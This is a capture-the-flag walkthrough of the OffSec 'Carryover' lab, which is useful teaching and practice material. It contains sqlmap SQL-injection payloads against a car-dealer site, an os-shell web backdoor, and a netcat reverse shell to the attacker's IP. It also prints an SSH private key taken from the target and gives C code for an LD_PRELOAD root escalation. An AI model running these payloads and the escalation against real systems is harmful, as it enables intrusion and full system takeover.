OFFSEC - Proving Grounds - CARRYOVER

Table of Contents

Summary
#

On port 80 there is a website called carvilla which is vulnerable for SQL injection. Using SQLmap get’s us initial access. Once on the box we see LD_PRELOAD environment variable is set which allows us to compile our own shared object and execute using sudo to escalate our privileges to the root user.

Specifications
#

Name: CARRYOVER
Platform: PG PRACTICE
Points: 20
Difficulty: Intermediate
System overview: Linux carryover 6.1.0-27-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.115-1 (2024-11-01) x86_64 GNU/Linux
IP address: 192.168.160.114
OFFSEC provided credentials: None
HASH: local.txt:5a513603a0af968a3cb338d5c80a1ec2
HASH: proof.txt:342991fa1d9f813299d8da9b022ba284

Preparation
#

First we’ll create a directory structure for our files and set the IP address to a bash variable and ping the target:

mkdir carryover && cd carryover && mkdir enum files exploits uploads tools

ls -la
total 28
drwxrwxr-x   7 kali kali 4096 Aug 30 09:27 .
drwxrwxr-x 111 kali kali 4096 Aug 30 09:27 ..
drwxrwxr-x   2 kali kali 4096 Aug 30 09:27 enum
drwxrwxr-x   2 kali kali 4096 Aug 30 09:27 exploits
drwxrwxr-x   2 kali kali 4096 Aug 30 09:27 files
drwxrwxr-x   2 kali kali 4096 Aug 30 09:27 tools
drwxrwxr-x   2 kali kali 4096 Aug 30 09:27 uploads

ip=192.168.160.114

ping $ip

PING 192.168.160.114 (192.168.160.114) 56(84) bytes of data.
64 bytes from 192.168.160.114: icmp_seq=1 ttl=61 time=18.1 ms
^C
--- 192.168.160.114 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 18.079/18.079/18.079/0.000 ms

Reconnaissance
#

Portscanning
#

Using the rustscan tool we can see what TCP ports are open.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.160.114:22
Open 192.168.160.114:80
[~] Starting Script(s)
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-30 09:29 +0200
Initiating Ping Scan at 09:29
Scanning 192.168.160.114 [4 ports]
Completed Ping Scan at 09:29, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:29
Completed Parallel DNS resolution of 1 host. at 09:29, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 09:29
Scanning 192.168.160.114 [2 ports]
Discovered open port 22/tcp on 192.168.160.114
Discovered open port 80/tcp on 192.168.160.114
Completed SYN Stealth Scan at 09:29, 0.03s elapsed (2 total ports)
Nmap scan report for 192.168.160.114
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2026-08-30 09:29:29 CEST for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 61
80/tcp open  http    syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp open  ssh     syn-ack ttl 61
80/tcp open  http    syn-ack ttl 61

Run the following command to get a string of all open ports and add in with a NMAP command to portscan found open ports:

sudo nmap -T3 -p $(awk -F'/' '{print $1}' files/ports | paste -sd, -) -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 4b:3e:f3:38:6f:a4:52:9c:27:66:a7:3c:62:30:6b:fa (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBJG+fTuC3qc9ppnXFqZB2YjbO+xsOLMqCrlXd1uE4TN1ivit2eqWGOQmjM+k2IkKQuaF/gt8iMaUj6GBgLgLeU=
|   256 a7:27:e6:57:86:62:03:c2:b4:65:70:68:45:41:ea:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBVIl2Quzlhbsw6TNi9CgtCvcYUVbywhl2nkt4++bzac
80/tcp open  http    syn-ack ttl 61 nginx 1.22.1
|_http-server-header: nginx/1.22.1
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-title: CarVilla
|_http-favicon: Unknown favicon MD5: BCFF139D9B0380E5DF5BA54904B9FA98
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

On port 80 there is a site called CARVILLA, scrolling down there are multiple dropdown items that let you filter and search the car you want.

Selecting some random items, and pressing the blue button (search) we can see if this actually works by starting BURP and set it to intercept requests.

We indeed see that there is POST request made.

Let’s send it to SQLmap and see if we can get some SQL injection. Right-click on the POST entry en select Save item. No save the file as req in the files directory. Running SQLmap reveals the parameter make is injectable, so we use this tool to dump the database.

sqlmap -r files/req --batch --level 5 --risk 3                 

        ___
       __H__                                                                                                                                               
 ___ ___[.]_____ ___ ___  {1.10.8#stable}                                                                                                                  
|_ -| . ["]     | .'| . |                                                                                                                                  
|___|_  [']_|_|_|__,|  _|                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                               

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:48:56 /2026-08-30/

[09:48:56] [INFO] parsing HTTP request from 'files/req'
[09:48:56] [INFO] testing connection to the target URL
[09:48:56] [INFO] testing if the target URL content is stable
[09:48:57] [INFO] target URL content is stable
<SNIP>
[09:57:21] [INFO] POST parameter 'make' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[09:57:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[09:57:21] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[09:57:21] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[09:57:22] [INFO] target URL appears to have 7 columns in query
[09:57:22] [INFO] POST parameter 'make' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'make' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 19975 HTTP(s) requests:
---
Parameter: make (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: year=2017&style=van&make=toyota' AND 7667=(SELECT (CASE WHEN (7667=7667) THEN 7667 ELSE (SELECT 8872 UNION SELECT 6326) END))-- -&condition=something&model=kia-rio&price=$0.00

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: year=2017&style=van&make=toyota' AND EXTRACTVALUE(5453,CONCAT(0x5c,0x71766a7871,(SELECT (ELT(5453=5453,1))),0x7170627171))-- nPps&condition=something&model=kia-rio&price=$0.00

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: year=2017&style=van&make=toyota' AND (SELECT 3534 FROM (SELECT(!SLEEP(5)))rfjw)-- DpTe&condition=something&model=kia-rio&price=$0.00

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: year=2017&style=van&make=toyota' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71766a7871,0x466452726e6565556b45794c59484756566b696c484a43474e4543764345426b4161614444714459,0x7170627171),NULL,NULL-- -&condition=something&model=kia-rio&price=$0.00
---
[09:57:22] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.22.1
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
[09:57:22] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.160.114'

[*] ending @ 09:57:22 /2026-08-30/

## dump database
sqlmap -r files/req --dump
        ___
       __H__                                                                                                                                               
 ___ ___["]_____ ___ ___  {1.10.8#stable}                                                                                                                  
|_ -| . [,]     | .'| . |                                                                                                                                  
|___|_  [,]_|_|_|__,|  _|                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                               

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:01:06 /2026-08-30/

[10:01:06] [INFO] parsing HTTP request from 'files/req'
[10:01:06] [INFO] resuming back-end DBMS 'mysql' 
[10:01:06] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: make (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: year=2017&style=van&make=toyota' AND 7667=(SELECT (CASE WHEN (7667=7667) THEN 7667 ELSE (SELECT 8872 UNION SELECT 6326) END))-- -&condition=something&model=kia-rio&price=$0.00

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: year=2017&style=van&make=toyota' AND EXTRACTVALUE(5453,CONCAT(0x5c,0x71766a7871,(SELECT (ELT(5453=5453,1))),0x7170627171))-- nPps&condition=something&model=kia-rio&price=$0.00

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: year=2017&style=van&make=toyota' AND (SELECT 3534 FROM (SELECT(!SLEEP(5)))rfjw)-- DpTe&condition=something&model=kia-rio&price=$0.00

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: year=2017&style=van&make=toyota' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71766a7871,0x466452726e6565556b45794c59484756566b696c484a43474e4543764345426b4161614444714459,0x7170627171),NULL,NULL-- -&condition=something&model=kia-rio&price=$0.00
---
[10:01:06] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.22.1
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
[10:01:06] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[10:01:06] [INFO] fetching current database
[10:01:06] [WARNING] reflective value(s) found and filtering out
[10:01:06] [INFO] fetching tables for database: 'car_dealership'
[10:01:07] [INFO] fetching columns for table 'cars' in database 'car_dealership'
[10:01:07] [INFO] fetching entries for table 'cars' in database 'car_dealership'
Database: car_dealership
Table: cars
[10 entries]
+----+---------------+------------+----------+-----------+--------+-------------+
| id | make          | model      | price    | style     | year   | condition   |
+----+---------------+------------+----------+-----------+--------+-------------+
| 1  | Toyota        | Camry      | 30000.00 | sedan     | 2018   | New         |
| 2  | Toyota        | Corolla    | 25000.00 | sedan     | 2017   | Fairly New  |
| 3  | Honda         | Civic      | 22000.00 | sedan     | 2019   | New         |
| 4  | Holden        | Commodore  | 28000.00 | sedan     | 2016   | Fairly New  |
| 5  | Ford          | Focus      | 20000.00 | sedan     | 2018   | Refurbished |
| 6  | Mitsubishi    | Outlander  | 35000.00 | SUV       | 2020   | New         |
| 7  | Mercedes-Benz | C-Class    | 45000.00 | sedan     | 2020   | New         |
| 8  | Ford          | Mustang    | 55000.00 | coupe     | 2021   | New         |
| 9  | Toyota        | Highlander | 42000.00 | SUV       | 2021   | New         |
| 10 | Kia           | Rio        | 18000.00 | hatchback | 2018   | New         |
+----+---------------+------------+----------+-----------+--------+-------------+

[10:01:07] [INFO] table 'car_dealership.cars' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.160.114/dump/car_dealership/cars.csv'
[10:01:07] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.160.114'

[*] ending @ 10:01:07 /2026-08-30/

So, dumping the database only gets us a list of cars……let’s try to get a shell using SQLmap. When asks what language is supported by the webserver, this can easilly be tested in the browser by typing index.html / index.asp / index.php, etc. Once you don’t get an error but the actual page, we know the language of the page. In this case PHP. So, select 5 and enter through questions.

## get a interactive shell
sqlmap -r files/req --os-shell

        ___
       __H__                                                                                                                                               
 ___ ___[']_____ ___ ___  {1.10.8#stable}                                                                                                                  
|_ -| . [)]     | .'| . |                                                                                                                                  
|___|_  [,]_|_|_|__,|  _|                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                               

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 10:03:07 /2026-08-30/

[10:03:07] [INFO] parsing HTTP request from 'files/req'
[10:03:07] [INFO] resuming back-end DBMS 'mysql' 
[10:03:07] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: make (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: year=2017&style=van&make=toyota' AND 7667=(SELECT (CASE WHEN (7667=7667) THEN 7667 ELSE (SELECT 8872 UNION SELECT 6326) END))-- -&condition=something&model=kia-rio&price=$0.00

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: year=2017&style=van&make=toyota' AND EXTRACTVALUE(5453,CONCAT(0x5c,0x71766a7871,(SELECT (ELT(5453=5453,1))),0x7170627171))-- nPps&condition=something&model=kia-rio&price=$0.00

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: year=2017&style=van&make=toyota' AND (SELECT 3534 FROM (SELECT(!SLEEP(5)))rfjw)-- DpTe&condition=something&model=kia-rio&price=$0.00

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: year=2017&style=van&make=toyota' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71766a7871,0x466452726e6565556b45794c59484756566b696c484a43474e4543764345426b4161614444714459,0x7170627171),NULL,NULL-- -&condition=something&model=kia-rio&price=$0.00
---
[10:03:07] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.22.1
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
[10:03:07] [INFO] going to use a web backdoor for command prompt
[10:03:07] [INFO] fingerprinting the back-end DBMS operating system
[10:03:07] [WARNING] reflective value(s) found and filtering out
[10:03:07] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] CFM
[4] JSP
[5] PHP (default)
> 5
[10:03:30] [INFO] retrieved the web server document root: '/var/www'
[10:03:30] [INFO] retrieved web server absolute paths: '/var/www/html/index.php'
[10:03:30] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[10:03:30] [WARNING] potential permission problems detected ('Permission denied')
[10:03:30] [WARNING] unable to upload the file stager on '/var/www/'
[10:03:30] [INFO] trying to upload the file stager on '/var/www/' via UNION method
[10:03:30] [WARNING] expect junk characters inside the file as a leftover from UNION query
[10:03:30] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
[10:03:30] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[10:03:31] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://192.168.160.114:80/tmpuptky.php
[10:03:31] [WARNING] unable to upload the file through the web file stager to '/var/www/html/'
[10:03:31] [WARNING] backdoor has not been successfully uploaded through the file stager possibly because the user running the web server process has not write privileges over the folder where the user running the DBMS process was able to upload the file stager or because the DBMS and web server sit on different servers
do you want to try the same method used for the file stager? [Y/n] 

[10:03:40] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://192.168.160.114:80/tmpbewxj.php
[10:03:40] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>

We got initial access. Let’s get a reverse shell, when asked, press ENTER. We are running as the www-data user, however, we cannot read the local.txt file.

## setup a listener
nc -lvnp 9001   
Listening on 0.0.0.0 9001

## get reverse shell
os-shell> busybox nc 192.168.45.198 9001 -e sh
do you want to retrieve the command standard output? [Y/n/a]

## catch reverse shell
Listening on 0.0.0.0 9001
Connection received on 192.168.160.114 40700

## run whoami
whoami
www-data

## find local.txt
find / -iname 'local.txt' 2>/dev/null
/home/ogbos/local.txt

## print local.txt
cat /home/ogbos/local.txt

The local.txt can only be read by the ogbos user. First let’s get a proper TTY. To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200

Now let’s checkout the ogbos user, there is a .ssh directory containing a private SSH key we can also read. Let’s print it on screen and copy it to a local file and try to login using SSH.

## change directory
www-data@carryover:~/html$ cd /home/ogbos/

## list directory
www-data@carryover:/home/ogbos$ ls -la
total 28
drwxr-xr-x 3 ogbos ogbos 4096 Dec  2  2024 .
drwxr-xr-x 3 root  root  4096 Dec  2  2024 ..
lrwxrwxrwx 1 ogbos ogbos    9 Dec  2  2024 .bash_history -> /dev/null
-rw-r--r-- 1 ogbos ogbos  220 Apr 23  2023 .bash_logout
-rw-r--r-- 1 ogbos ogbos 3526 Apr 23  2023 .bashrc
-rw-r--r-- 1 ogbos ogbos  807 Apr 23  2023 .profile
drwxr-xr-x 2 ogbos ogbos 4096 Dec  2  2024 .ssh
-rwx------ 1 ogbos ogbos   33 Aug 30 03:24 local.txt

## change directory
www-data@carryover:/home/ogbos$ cd .ssh

## list directory
www-data@carryover:/home/ogbos/.ssh$ ls -la
total 20
drwxr-xr-x 2 ogbos ogbos 4096 Dec  2  2024 .
drwxr-xr-x 3 ogbos ogbos 4096 Dec  2  2024 ..
-rw-r--r-- 1 ogbos ogbos  566 Dec  2  2024 authorized_keys
-rw-r--r-- 1 ogbos ogbos 2602 Dec  2  2024 id_rsa
-rw-r--r-- 1 ogbos ogbos  566 Dec  2  2024 id_rsa.pub

www-data@carryover:/home/ogbos/.ssh$ cat id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

## locally
## change directory
cd files

## paste key content in the id_rsa file
nano id_rsa

## change permissions
chmod 600 id_rsa

## use the id_rsa key to login via SSH
ssh -i id_rsa ogbos@$ip       
Linux carryover 6.1.0-27-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.115-1 (2024-11-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
ogbos@carryover:~$

We indeed get an SSH session as the ogbos user. Now we can read local.txt.

## print local.txt
ogbos@carryover:~$ cat local.txt
5a513603a0af968a3cb338d5c80a1ec2

Privilege Escalation
#

Checking sudo privileges by running sudo -l we see the LD_PRELOAD environment variable which allows specified shared libraries to load before a program executes with root privileges. Since gcc is on the box, let’s create our own shared object.

## check sudo privileges
ogbos@carryover:~$ sudo -l
sudo: unable to resolve host carryover: Name or service not known
Matching Defaults entries for ogbos on carryover:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOAD, use_pty

User ogbos may run the following commands on carryover:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/event-viewer.py

## get location gcc
ogbos@carryover:~$ which gcc
/usr/bin/gcc

## get bash location
ogbos@carryover:~$ which bash
/usr/bin/bash

## create a .c program called shell.c using nano (nano shell.c) with this content, after that press CTRL+X and Y to save
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        unsetenv("LD_PRELOAD");
        setgid(0);
        setuid(0);
        system("/usr/bin/bash");
}

## compile shell.c, ignore errors
ogbos@carryover:~$ gcc -shared -fPIC -o shell.so ./shell.c -nostartfiles
./shell.c: In function ‘_init’:
./shell.c:7:9: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    7 |         setgid(0);
      |         ^~~~~~
./shell.c:8:9: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    8 |         setuid(0);
      |         ^~~~~~

## chech if .so file is created
ogbos@carryover:~$ ls
local.txt  shell.c  shell.so

## execute suco command with LD_PRELOAD set to our shell.so
ogbos@carryover:~$ sudo LD_PRELOAD=./shell.so /usr/bin/python3 /opt/event-viewer.py
sudo: unable to resolve host carryover: Name or service not known
root@carryover:/home/ogbos#

## print proof.txt
root@carryover:/home/ogbos# cat /root/proof.txt
342991fa1d9f813299d8da9b022ba284